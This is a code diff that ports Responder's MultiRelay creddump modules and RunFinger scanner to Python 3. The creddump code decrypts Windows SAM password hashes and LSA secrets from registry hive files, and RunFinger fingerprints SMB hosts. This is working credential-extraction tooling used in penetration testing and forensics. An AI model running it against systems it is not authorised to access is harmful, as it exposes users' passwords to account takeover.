key.append(((s[2] & 0x07) << 4) | ((s[3]) >> 4))
|
||||
key.append(((s[3] & 0x0F) << 3) | ((s[4]) >> 5))
|
||||
key.append(((s[4] & 0x1F) << 2) | ((s[5]) >> 6))
|
||||
key.append(((s[5] & 0x3F) << 1) | ((s[6]) >> 7))
|
||||
key.append(s[6] & 0x7F)
|
||||
for i in range(8):
|
||||
key[i] = (key[i]<<1)
|
||||
key[i] = (key[i] << 1)
|
||||
key[i] = odd_parity[key[i]]
|
||||
return "".join(chr(k) for k in key)
|
||||
return key
|
||||
|
||||
|
||||
def sid_to_key(sid):
|
||||
s1 = ""
|
||||
s1 += chr(sid & 0xFF)
|
||||
s1 += chr((sid>>8) & 0xFF)
|
||||
s1 += chr((sid>>16) & 0xFF)
|
||||
s1 += chr((sid>>24) & 0xFF)
|
||||
s1 += s1[0];
|
||||
s1 += s1[1];
|
||||
s1 += s1[2];
|
||||
s2 = s1[3] + s1[0] + s1[1] + s1[2]
|
||||
s2 += s2[0] + s2[1] + s2[2]
|
||||
s1 = bytearray()
|
||||
s1.append(sid & 0xFF)
|
||||
s1.append((sid >> 8) & 0xFF)
|
||||
s1.append((sid >> 16) & 0xFF)
|
||||
s1.append((sid >> 24) & 0xFF)
|
||||
s1.append(s1[0])
|
||||
s1.append(s1[1])
|
||||
s1.append(s1[2])
|
||||
s2 = bytearray([s1[3], s1[0], s1[1], s1[2]])
|
||||
s2.append(s2[0])
|
||||
s2.append(s2[1])
|
||||
s2.append(s2[2])
|
||||
|
||||
return str_to_key(s1), str_to_key(s2)
|
||||
|
||||
|
||||
return str_to_key(s1),str_to_key(s2)
|
||||
|
||||
def find_control_set(sysaddr):
|
||||
root = get_root(sysaddr)
|
||||
if not root:
|
||||
|
@ -99,122 +106,206 @@ def find_control_set(sysaddr):
|
|||
return 1
|
||||
|
||||
for v in values(csselect):
|
||||
if v.Name == "Current": return v.Data.value
|
||||
if v.Name == b"Current":
|
||||
return v.Data.value
|
||||
|
||||
return 1
|
||||
|
||||
|
||||
def get_bootkey(sysaddr):
|
||||
cs = find_control_set(sysaddr)
|
||||
lsa_base = ["ControlSet%03d" % cs, "Control", "Lsa"]
|
||||
lsa_keys = ["JD", "Skew1", "GBG", "Data"]
|
||||
|
||||
root = get_root(sysaddr)
|
||||
if not root:
|
||||
return None
|
||||
|
||||
lsa = open_key(root, lsa_base)
|
||||
if not lsa:
|
||||
return None
|
||||
|
||||
bootkey = []
|
||||
|
||||
for lk in lsa_keys:
|
||||
key = open_key(lsa, [lk])
|
||||
class_data = sysaddr.read(key.Class.value, key.ClassLength.value)
|
||||
hex_string = class_data.decode('utf-16-le')
|
||||
hex_data = binascii.unhexlify(hex_string)
|
||||
for h in hex_data:
|
||||
bootkey.append(h)
|
||||
|
||||
bootkey_scrambled = []
|
||||
for i in range(len(bootkey)):
|
||||
bootkey_scrambled.append(bootkey[p[i]])
|
||||
|
||||
return bytes(bootkey_scrambled)
|
||||
|
||||
|
||||
def get_hbootkey(samaddr, bootkey):
|
||||
sam_account_path = ["SAM", "Domains", "Account"]
|
||||
|
||||
root = get_root(samaddr)
|
||||
if not root: return None
|
||||
if not root:
|
||||
return None
|
||||
|
||||
sam_account_key = open_key(root, sam_account_path)
|
||||
if not sam_account_key: return None
|
||||
if not sam_account_key:
|
||||
return None
|
||||
|
||||
F = None
|
||||
for v in values(sam_account_key):
|
||||
if v.Name == 'F':
|
||||
if v.Name == b'F':
|
||||
F = samaddr.read(v.Data.value, v.DataLength.value)
|
||||
if not F: return None
|
||||
if not F:
|
||||
return None
|
||||
|
||||
md5 = MD5.new()
|
||||
md5.update(F[0x70:0x80] + aqwerty + bootkey + anum)
|
||||
rc4_key = md5.digest()
|
||||
revision = F[0x00]
|
||||
if revision == 2:
|
||||
md5 = MD5.new()
|
||||
md5.update(F[0x70:0x80] + aqwerty + bootkey + anum)
|
||||
rc4_key = md5.digest()
|
||||
|
||||
rc4 = ARC4.new(rc4_key)
|
||||
hbootkey = rc4.encrypt(F[0x80:0xA0])
|
||||
|
||||
return hbootkey
|
||||
rc4 = ARC4.new(rc4_key)
|
||||
hbootkey = rc4.encrypt(F[0x80:0xA0])
|
||||
|
||||
return hbootkey
|
||||
|
||||
if revision == 3:
|
||||
iv = F[0x78:0x88]
|
||||
encryptedHBootKey = F[0x88:0xA8]
|
||||
cipher = AES.new(bootkey, AES.MODE_CBC, iv)
|
||||
hbootkey = cipher.decrypt(encryptedHBootKey)
|
||||
|
||||
return hbootkey[:16]
|
||||
|
||||
print("Unknown revision: %d" % revision)
|
||||
return None
|
||||
|
||||
def get_user_keys(samaddr):
|
||||
user_key_path = ["SAM", "Domains", "Account", "Users"]
|
||||
|
||||
root = get_root(samaddr)
|
||||
if not root: return []
|
||||
if not root:
|
||||
return []
|
||||
|
||||
user_key = open_key(root, user_key_path)
|
||||
if not user_key: return []
|
||||
if not user_key:
|
||||
return []
|
||||
|
||||
return [k for k in subkeys(user_key) if k.Name != b"Names"]
|
||||
|
||||
return [k for k in subkeys(user_key) if k.Name != "Names"]
|
||||
|
||||
def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):
|
||||
(des_k1,des_k2) = sid_to_key(rid)
|
||||
if enc_hash == "":
|
||||
return ""
|
||||
(des_k1, des_k2) = sid_to_key(rid)
|
||||
d1 = DES.new(des_k1, DES.MODE_ECB)
|
||||
d2 = DES.new(des_k2, DES.MODE_ECB)
|
||||
|
||||
md5 = MD5.new()
|
||||
md5.update(hbootkey[:0x10] + pack("<L",rid) + lmntstr)
|
||||
md5.update(hbootkey[:0x10] + pack("<L", rid) + lmntstr)
|
||||
rc4_key = md5.digest()
|
||||
rc4 = ARC4.new(rc4_key)
|
||||
obfkey = rc4.encrypt(enc_hash)
|
||||
hash = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])
|
||||
return d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])
|
||||
|
||||
return hash
|
||||
|
||||
def decrypt_hashes(rid, enc_lm_hash, enc_nt_hash, hbootkey):
|
||||
# LM Hash
|
||||
if enc_lm_hash:
|
||||
lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)
|
||||
else:
|
||||
lmhash = ""
|
||||
|
||||
# NT Hash
|
||||
if enc_nt_hash:
|
||||
nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
|
||||
else:
|
||||
nthash = ""
|
||||
def decrypt_single_salted_hash(rid, hbootkey, enc_hash, salt):
|
||||
if enc_hash == "":
|
||||
return ""
|
||||
(des_k1, des_k2) = sid_to_key(rid)
|
||||
d1 = DES.new(des_k1, DES.MODE_ECB)
|
||||
d2 = DES.new(des_k2, DES.MODE_ECB)
|
||||
cipher = AES.new(hbootkey[:16], AES.MODE_CBC, salt)
|
||||
obfkey = cipher.decrypt(enc_hash)
|
||||
return d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:16])
|
||||
|
||||
return lmhash,nthash
|
||||
|
||||
def get_user_hashes(user_key, hbootkey):
|
||||
# pylint: disable=too-many-locals
|
||||
samaddr = user_key.space
|
||||
rid = int(user_key.Name, 16)
|
||||
try:
|
||||
rid = int(user_key.Name.decode(), 16)
|
||||
except ValueError:
|
||||
print("Could not decode rid from key name %s" % (user_key.Name.decode()))
|
||||
return None, None
|
||||
V = None
|
||||
for v in values(user_key):
|
||||
if v.Name == 'V':
|
||||
if v.Name == b'V':
|
||||
V = samaddr.read(v.Data.value, v.DataLength.value)
|
||||
if not V: return None
|
||||
if not V:
|
||||
return None, None
|
||||
hash_offset = unpack("<L", V[0xa8:0xa8 + 4])[0] + 0xCC
|
||||
|
||||
hash_offset = unpack("<L", V[0x9c:0x9c+4])[0] + 0xCC
|
||||
lm_offset_bytes = V[0x9c:0x9c + 4]
|
||||
nt_offset_bytes = V[0x9c + 12:0x9c + 16]
|
||||
lm_offset = unpack("<L", lm_offset_bytes)[0] + 204
|
||||
nt_offset = unpack("<L", nt_offset_bytes)[0] + 204
|
||||
|
||||
lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 20 else False
|
||||
nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 20 else False
|
||||
lmhash = None
|
||||
nthash = None
|
||||
|
||||
enc_lm_hash = V[hash_offset+4:hash_offset+20] if lm_exists else ""
|
||||
enc_nt_hash = V[hash_offset+(24 if lm_exists else 8):hash_offset+(24 if lm_exists else 8)+16] if nt_exists else ""
|
||||
lm_revision_bytes = V[lm_offset + 2:lm_offset + 3]
|
||||
lm_revision = unpack('<B', lm_revision_bytes)[0]
|
||||
if lm_revision == 1:
|
||||
lm_exists = unpack("<L", V[0x9c + 4:0x9c + 8])[0] == 20
|
||||
enc_lm_hash = V[hash_offset + 4:hash_offset + 20] if lm_exists else ""
|
||||
lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)
|
||||
elif lm_revision == 2:
|
||||
lm_exists = unpack("<L", V[0x9c + 4:0x9c + 8])[0] == 56
|
||||
lm_salt = V[hash_offset + 4:hash_offset + 20] if lm_exists else ""
|
||||
enc_lm_hash = V[hash_offset + 20:hash_offset + 52] if lm_exists else ""
|
||||
lmhash = decrypt_single_salted_hash(rid, hbootkey, enc_lm_hash, lm_salt)
|
||||
|
||||
nt_revision_bytes = V[nt_offset + 2:nt_offset + 3]
|
||||
nt_revision = unpack('<B', nt_revision_bytes)[0]
|
||||
if nt_revision == 1:
|
||||
nt_exists = unpack("<L", V[0x9c + 16:0x9c + 20])[0] == 20
|
||||
enc_nt_hash = V[nt_offset + 4:nt_offset + 20] if nt_exists else ""
|
||||
nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
|
||||
elif nt_revision == 2:
|
||||
nt_exists = unpack("<L", V[0x9c + 16:0x9c + 20])[0] == 56
|
||||
nt_salt = V[nt_offset + 8:nt_offset + 24] if nt_exists else ""
|
||||
enc_nt_hash = V[nt_offset + 24:nt_offset + 56] if nt_exists else ""
|
||||
nthash = decrypt_single_salted_hash(rid, hbootkey, enc_nt_hash, nt_salt)
|
||||
|
||||
return lmhash, nthash
|
||||
|
||||
return decrypt_hashes(rid, enc_lm_hash, enc_nt_hash, hbootkey)
|
||||
|
||||
def get_user_name(user_key):
|
||||
samaddr = user_key.space
|
||||
V = None
|
||||
for v in values(user_key):
|
||||
if v.Name == 'V':
|
||||
if v.Name == b'V':
|
||||
V = samaddr.read(v.Data.value, v.DataLength.value)
|
||||
if not V: return None
|
||||
if not V:
|
||||
return None
|
||||
|
||||
name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC
|
||||
name_length = unpack("<L", V[0x10:0x14])[0]
|
||||
|
||||
username = V[name_offset:name_offset+name_length].decode('utf-16-le')
|
||||
username = V[name_offset:name_offset + name_length].decode('utf-16-le')
|
||||
return username
|
||||
|
||||
def dump_hashes(Key, samaddr):
|
||||
bootkey = Key
|
||||
hbootkey = get_hbootkey(samaddr,bootkey)
|
||||
Output = ""
|
||||
for user in get_user_keys(samaddr):
|
||||
lmhash,nthash = get_user_hashes(user,hbootkey)
|
||||
if not lmhash: lmhash = empty_lm
|
||||
if not nthash: nthash = empty_nt
|
||||
hashes = "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name,16),
|
||||
lmhash.encode('hex'), nthash.encode('hex'))
|
||||
hashesdump = "%s:%d:%s:%s:::\n" % (get_user_name(user), int(user.Name,16),
|
||||
lmhash.encode('hex'), nthash.encode('hex'))
|
||||
print hashes
|
||||
Output += hashesdump
|
||||
return Output
|
||||
|
||||
def dump_file_hashes(Key, samhive_fname):
|
||||
def dump_hashes(sysaddr, samaddr):
|
||||
bootkey = get_bootkey(sysaddr)
|
||||
hbootkey = get_hbootkey(samaddr, bootkey)
|
||||
|
||||
for user in get_user_keys(samaddr):
|
||||
lmhash, nthash = get_user_hashes(user, hbootkey)
|
||||
if not lmhash:
|
||||
lmhash = empty_lm
|
||||
if not nthash:
|
||||
nthash = empty_nt
|
||||
try:
|
||||
print("%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16),
|
||||
lmhash.hex(), nthash.hex()))
|
||||
except ValueError:
|
||||
pass # skip if user.Name cannot be converted to an int, since its a "false" rid like the "Names" key
|
||||
|
||||
|
||||
def dump_file_hashes(syshive_fname, samhive_fname):
|
||||
sysaddr = HiveFileAddressSpace(syshive_fname)
|
||||
samaddr = HiveFileAddressSpace(samhive_fname)
|
||||
Output = dump_hashes(Key, samaddr)
|
||||
return Output
|
||||
dump_hashes(sysaddr, samaddr)
|
||||
|
|
|
@ -13,26 +13,33 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
# pylint: disable=missing-docstring
|
||||
|
||||
"""
|
||||
@author: Brendan Dolan-Gavitt
|
||||
@license: GNU General Public License 2.0 or later
|
||||
@contact: bdolangavitt@wesleyan.edu
|
||||
"""
|
||||
|
||||
from framework.win32.rawreg import *
|
||||
from framework.addrspace import HiveFileAddressSpace
|
||||
#from framework.win32.hashdump import get_bootkey,str_to_key
|
||||
from Crypto.Hash import MD5
|
||||
from Crypto.Cipher import ARC4,DES
|
||||
from Crypto.Hash import MD5, SHA256
|
||||
from Crypto.Cipher import ARC4, DES, AES
|
||||
|
||||
def get_lsa_key(secaddr, bootkey):
|
||||
from framework.win32.rawreg import get_root, open_key, subkeys, unpack
|
||||
from framework.addrspace import HiveFileAddressSpace
|
||||
from framework.win32.hashdump import get_bootkey, str_to_key
|
||||
|
||||
|
||||
def get_lsa_key(secaddr, bootkey, vista):
|
||||
root = get_root(secaddr)
|
||||
if not root:
|
||||
return None
|
||||
|
||||
enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"])
|
||||
if vista:
|
||||
enc_reg_key = open_key(root, ["Policy", "PolEKList"])
|
||||
else:
|
||||
enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"])
|
||||
|
||||
if not enc_reg_key:
|
||||
exit(1)
|
||||
return None
|
||||
|
||||
enc_reg_value = enc_reg_key.ValueList.List[0]
|
||||
|
@ -40,48 +47,73 @@ def get_lsa_key(secaddr, bootkey):
|
|||
return None
|
||||
|
||||
obf_lsa_key = secaddr.read(enc_reg_value.Data.value,
|
||||
enc_reg_value.DataLength.value)
|
||||
enc_reg_value.DataLength.value)
|
||||
if not obf_lsa_key:
|
||||
return None
|
||||
|
||||
md5 = MD5.new()
|
||||
md5.update(bootkey)
|
||||
for i in range(1000):
|
||||
md5.update(obf_lsa_key[60:76])
|
||||
rc4key = md5.digest()
|
||||
if not vista:
|
||||
md5 = MD5.new()
|
||||
md5.update(bootkey)
|
||||
for __ in range(1000):
|
||||
md5.update(obf_lsa_key[60:76])
|
||||
rc4key = md5.digest()
|
||||
rc4 = ARC4.new(rc4key)
|
||||
lsa_key = rc4.decrypt(obf_lsa_key[12:60])
|
||||
lsa_key = lsa_key[0x10:0x20]
|
||||
else:
|
||||
lsa_key = decrypt_aes(obf_lsa_key, bootkey)
|
||||
lsa_key = lsa_key[68:100]
|
||||
|
||||
rc4 = ARC4.new(rc4key)
|
||||
lsa_key = rc4.decrypt(obf_lsa_key[12:60])
|
||||
return lsa_key
|
||||
|
||||
return lsa_key[0x10:0x20]
|
||||
|
||||
def decrypt_secret(secret, key):
|
||||
"""Python implementation of SystemFunction005.
|
||||
|
||||
Decrypts a block of data with DES using given key.
|
||||
Note that key can be longer than 7 bytes."""
|
||||
decrypted_data = ''
|
||||
j = 0 # key index
|
||||
for i in range(0,len(secret),8):
|
||||
enc_block = secret[i:i+8]
|
||||
block_key = key[j:j+7]
|
||||
decrypted_data = bytearray()
|
||||
j = 0 # key index
|
||||
for i in range(0, len(secret), 8):
|
||||
enc_block = secret[i:i + 8]
|
||||
block_key = key[j:j + 7]
|
||||
des_key = str_to_key(block_key)
|
||||
|
||||
des = DES.new(des_key, DES.MODE_ECB)
|
||||
decrypted_data += des.decrypt(enc_block)
|
||||
|
||||
|
||||
j += 7
|
||||
if len(key[j:j+7]) < 7:
|
||||
j = len(key[j:j+7])
|
||||
if len(key[j:j + 7]) < 7:
|
||||
j = len(key[j:j + 7])
|
||||
|
||||
(dec_data_len,) = unpack("<L", decrypted_data[:4])
|
||||
return decrypted_data[8:8+dec_data_len]
|
||||
return decrypted_data[8:8 + dec_data_len]
|
||||
|
||||
def get_secret_by_name(secaddr, name, lsakey):
|
||||
|
||||
def decrypt_aes(secret, key):
|
||||
sha = SHA256.new()
|
||||
sha.update(key)
|
||||
for _i in range(1, 1000 + 1):
|
||||
sha.update(secret[28:60])
|
||||
aeskey = sha.digest()
|
||||
|
||||
data = bytearray()
|
||||
for i in range(60, len(secret), 16):
|
||||
aes = AES.new(aeskey, AES.MODE_CBC, b"\x00" * 16)
|
||||
buf = secret[i: i + 16]
|
||||
if len(buf) < 16:
|
||||
buf += (16 - len(buf)) * b"\00"
|
||||
|
||||
data += aes.decrypt(buf)
|
||||
|
||||
return data
|
||||
|
||||
|
||||
def get_secret_by_name(secaddr, name, lsakey, vista):
|
||||
root = get_root(secaddr)
|
||||
if not root:
|
||||
return None
|
||||
|
||||
|
||||
enc_secret_key = open_key(root, ["Policy", "Secrets", name, "CurrVal"])
|
||||
if not enc_secret_key:
|
||||
return None
|
||||
|
@ -91,47 +123,57 @@ def get_secret_by_name(secaddr, name, lsakey):
|
|||
return None
|
||||
|
||||
enc_secret = secaddr.read(enc_secret_value.Data.value,
|
||||
enc_secret_value.DataLength.value)
|
||||
enc_secret_value.DataLength.value)
|
||||
if not enc_secret:
|
||||
return None
|
||||
|
||||
return decrypt_secret(enc_secret[0xC:], lsakey)
|
||||
if vista:
|
||||
secret = decrypt_aes(enc_secret, lsakey)
|
||||
else:
|
||||
secret = decrypt_secret(enc_secret[0xC:], lsakey)
|
||||
|
||||
def get_secrets(Key, secaddr):
|
||||
return secret
|
||||
|
||||
|
||||
def get_secrets(sysaddr, secaddr, vista):
|
||||
root = get_root(secaddr)
|
||||
if not root:
|
||||
return None
|
||||
|
||||
bootkey = Key
|
||||
lsakey = get_lsa_key(secaddr, bootkey)
|
||||
bootkey = get_bootkey(sysaddr)
|
||||
lsakey = get_lsa_key(secaddr, bootkey, vista)
|
||||
|
||||
secrets_key = open_key(root, ["Policy", "Secrets"])
|
||||
if not secrets_key:
|
||||
print "no secret"
|
||||
return None
|
||||
|
||||
|
||||
secrets = {}
|
||||
for key in subkeys(secrets_key):
|
||||
sec_val_key = open_key(key, ["CurrVal"])
|
||||
if not sec_val_key:
|
||||
continue
|
||||
|
||||
|
||||
enc_secret_value = sec_val_key.ValueList.List[0]
|
||||
if not enc_secret_value:
|
||||
continue
|
||||
|
||||
|
||||
enc_secret = secaddr.read(enc_secret_value.Data.value,
|
||||
enc_secret_value.DataLength.value)
|
||||
enc_secret_value.DataLength.value)
|
||||
if not enc_secret:
|
||||
continue
|
||||
|
||||
secret = decrypt_secret(enc_secret[0xC:], lsakey)
|
||||
if vista:
|
||||
secret = decrypt_aes(enc_secret, lsakey)
|
||||
else:
|
||||
secret = decrypt_secret(enc_secret[0xC:], lsakey)
|
||||
|
||||
secrets[key.Name] = secret
|
||||
|
||||
return secrets
|
||||
|
||||
def get_file_secrets(Key, secfile):
|
||||
|
||||
def get_file_secrets(sysfile, secfile, vista):
|
||||
sysaddr = HiveFileAddressSpace(sysfile)
|
||||
secaddr = HiveFileAddressSpace(secfile)
|
||||
|
||||
return get_secrets(Key, secaddr)
|
||||
|
||||
return get_secrets(sysaddr, secaddr, vista)
|
||||
|
|
|
@ -23,9 +23,9 @@ from framework.newobj import Obj,Pointer
|
|||
from struct import unpack
|
||||
|
||||
ROOT_INDEX = 0x20
|
||||
LH_SIG = unpack("<H","lh")[0]
|
||||
LF_SIG = unpack("<H","lf")[0]
|
||||
RI_SIG = unpack("<H","ri")[0]
|
||||
LH_SIG = unpack("<H",b"lh")[0]
|
||||
LF_SIG = unpack("<H",b"lf")[0]
|
||||
RI_SIG = unpack("<H",b"ri")[0]
|
||||
|
||||
def get_root(address_space):
|
||||
return Obj("_CM_KEY_NODE", ROOT_INDEX, address_space)
|
||||
|
@ -34,11 +34,11 @@ def open_key(root, key):
|
|||
if key == []:
|
||||
return root
|
||||
|
||||
keyname = key.pop(0)
|
||||
keyname = key.pop(0).encode()
|
||||
for s in subkeys(root):
|
||||
if s.Name.upper() == keyname.upper():
|
||||
return open_key(s, key)
|
||||
print "ERR: Couldn't find subkey %s of %s" % (keyname, root.Name)
|
||||
print("ERR: Couldn't find subkey %s of %s" % (keyname, root.Name))
|
||||
return None
|
||||
|
||||
def subkeys(key,stable=True):
|
||||
|
|
44
tools/MultiRelay/creddump/lsadump.py
Normal file → Executable file
44
tools/MultiRelay/creddump/lsadump.py
Normal file → Executable file
|
@ -15,6 +15,8 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with creddump. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
# pylint: disable=invalid-name,missing-docstring
|
||||
|
||||
"""
|
||||
@author: Brendan Dolan-Gavitt
|
||||
@license: GNU General Public License 2.0 or later
|
||||
|
@ -27,28 +29,40 @@ from framework.win32.lsasecrets import get_file_secrets
|
|||
# Hex dump code from
|
||||
# http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
|
||||
|
||||
FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])
|
||||
FILTER = ''.join(32 <= i < 127 and chr(i) or '.' for i in range(256))
|
||||
|
||||
|
||||
def showUsage():
|
||||
print("usage: %s <system hive> <security hive> <Vista/7>" % sys.argv[0])
|
||||
print("\nExample (Windows Vista/7):")
|
||||
print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0])
|
||||
print("\nExample (Windows XP):")
|
||||
print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0])
|
||||
|
||||
|
||||
def dump(src, length=8):
|
||||
N=0; result=''
|
||||
N = 0
|
||||
result = ''
|
||||
while src:
|
||||
s,src = src[:length],src[length:]
|
||||
hexa = ' '.join(["%02X"%ord(x) for x in s])
|
||||
s = s.translate(FILTER)
|
||||
result += "%04X %-*s %s\n" % (N, length*3, hexa, s)
|
||||
N+=length
|
||||
s, src = src[:length], src[length:]
|
||||
hexa = ' '.join(["%02X" % x for x in s])
|
||||
s = ''.join(FILTER[b] for b in s)
|
||||
result += "%04X %-*s %s\n" % (N, length * 3, hexa, s)
|
||||
N += length
|
||||
return result
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print "usage: %s Bootkey <security hive>" % sys.argv[0]
|
||||
sys.exit(1)
|
||||
|
||||
secrets = get_file_secrets(sys.argv[1].decode("hex"), sys.argv[2])
|
||||
if len(sys.argv) < 4 or sys.argv[3].lower() not in ["true", "false"]:
|
||||
showUsage()
|
||||
sys.exit(1)
|
||||
else:
|
||||
vista = sys.argv[3].lower() == "true"
|
||||
|
||||
secrets = get_file_secrets(sys.argv[1], sys.argv[2], vista)
|
||||
if not secrets:
|
||||
print "Unable to read LSA secrets. Perhaps you provided invalid hive files?"
|
||||
print("Unable to read LSA secrets. Perhaps you provided invalid hive files?")
|
||||
sys.exit(1)
|
||||
|
||||
for k in secrets:
|
||||
print k
|
||||
print dump(secrets[k], length=16)
|
||||
|
||||
print(k.decode())
|
||||
print(dump(secrets[k], length=16))
|
||||
|
|
|
@ -25,7 +25,7 @@ import sys
|
|||
from framework.win32.hashdump import dump_file_hashes
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print "usage: %s bootkey SAM_File" % sys.argv[0]
|
||||
print("usage: %s <system hive> <SAM hive>" % sys.argv[0])
|
||||
sys.exit(1)
|
||||
|
||||
dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2])
|
||||
dump_file_hashes(sys.argv[1], sys.argv[2])
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
|
@ -14,20 +14,18 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re,sys,socket,struct
|
||||
import re,sys,struct
|
||||
import datetime
|
||||
import multiprocessing
|
||||
from socket import *
|
||||
from odict import OrderedDict
|
||||
import optparse
|
||||
from RunFingerPackets import *
|
||||
|
||||
__version__ = "0.8"
|
||||
__version__ = "1.0"
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
|
||||
|
||||
parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
|
||||
parser.add_option('-a','--all', action="store_true", help="Performs all checks (including MS17-010)", dest="all", default=False)
|
||||
parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format")
|
||||
options, args = parser.parse_args()
|
||||
|
||||
|
@ -38,148 +36,146 @@ if options.TARGET is None:
|
|||
|
||||
Timeout = 2
|
||||
Host = options.TARGET
|
||||
MS17010Check = options.all
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
for k,v in list(kw.items()):
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
return "".join(map(str, list(self.fields.values())))
|
||||
|
||||
#Python version
|
||||
if (sys.version_info > (3, 0)):
|
||||
PY2OR3 = "PY3"
|
||||
else:
|
||||
PY2OR3 = "PY2"
|
||||
|
||||
def StructWithLenPython2or3(endian,data):
|
||||
#Python2...
|
||||
if PY2OR3 is "PY2":
|
||||
return struct.pack(endian, data)
|
||||
#Python3...
|
||||
else:
|
||||
return struct.pack(endian, data).decode('latin-1')
|
||||
|
||||
def NetworkSendBufferPython2or3(data):
|
||||
if PY2OR3 is "PY2":
|
||||
return str(data)
|
||||
else:
|
||||
return bytes(str(data), 'latin-1')
|
||||
|
||||
def NetworkRecvBufferPython2or3(data):
|
||||
if PY2OR3 is "PY2":
|
||||
return str(data)
|
||||
else:
|
||||
return str(data.decode('latin-1'))
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
length = StructWithLenPython2or3(">i", len(''.join(payload)))
|
||||
return length
|
||||
|
||||
def GetBootTime(data):
|
||||
Filetime = int(struct.unpack('<q',data)[0])
|
||||
t = divmod(Filetime - 116444736000000000, 10000000)
|
||||
time = datetime.datetime.fromtimestamp(t[0])
|
||||
return time, time.strftime('%Y-%m-%d %H:%M:%S')
|
||||
|
||||
try:
|
||||
Filetime = int(struct.unpack('<q',data)[0])
|
||||
t = divmod(Filetime - 116444736000000000, 10000000)
|
||||
time = datetime.datetime.fromtimestamp(t[0])
|
||||
return time, time.strftime('%Y-%m-%d %H:%M:%S')
|
||||
except:
|
||||
pass
|
||||
|
||||
#####################
|
||||
|
||||
def IsSigningEnabled(data):
|
||||
def IsSigningEnabled(data):
|
||||
if data[39] == "\x0f":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def atod(a):
|
||||
def atod(a):
|
||||
return struct.unpack("!L",inet_aton(a))[0]
|
||||
|
||||
def dtoa(d):
|
||||
def dtoa(d):
|
||||
return inet_ntoa(struct.pack("!L", d))
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
try:
|
||||
length = struct.unpack('<H',data[43:45])[0]
|
||||
length = struct.unpack('<H',data[43:45].encode('latin-1'))[0]
|
||||
if length > 255:
|
||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
|
||||
OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
if length <= 255:
|
||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||
OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[46+length:].split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
except:
|
||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||
|
||||
def GetHostnameAndDomainName(data):
|
||||
try:
|
||||
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
|
||||
Time = GetBootTime(data[60:68])
|
||||
data = NetworkRecvBufferPython2or3(data)
|
||||
DomainJoined, Hostname = tuple([e.replace("\x00", "") for e in data[81:].split('\x00\x00\x00')[:2]])
|
||||
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on
|
||||
if Hostname == '':
|
||||
DomainJoined = data[81:110].replace('\x00','')
|
||||
Hostname = data[113:].replace('\x00','')
|
||||
DomainJoined = data[81:110].decode('latin-1')
|
||||
Hostname = data[113:].decode('latin-1')
|
||||
return Hostname, DomainJoined, Time
|
||||
except:
|
||||
return "Could not get Hostname.", "Could not get Domain joined"
|
||||
return "Could not get Hostname.", "Could not get Domain joined"
|
||||
|
||||
def DomainGrab(Host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
try:
|
||||
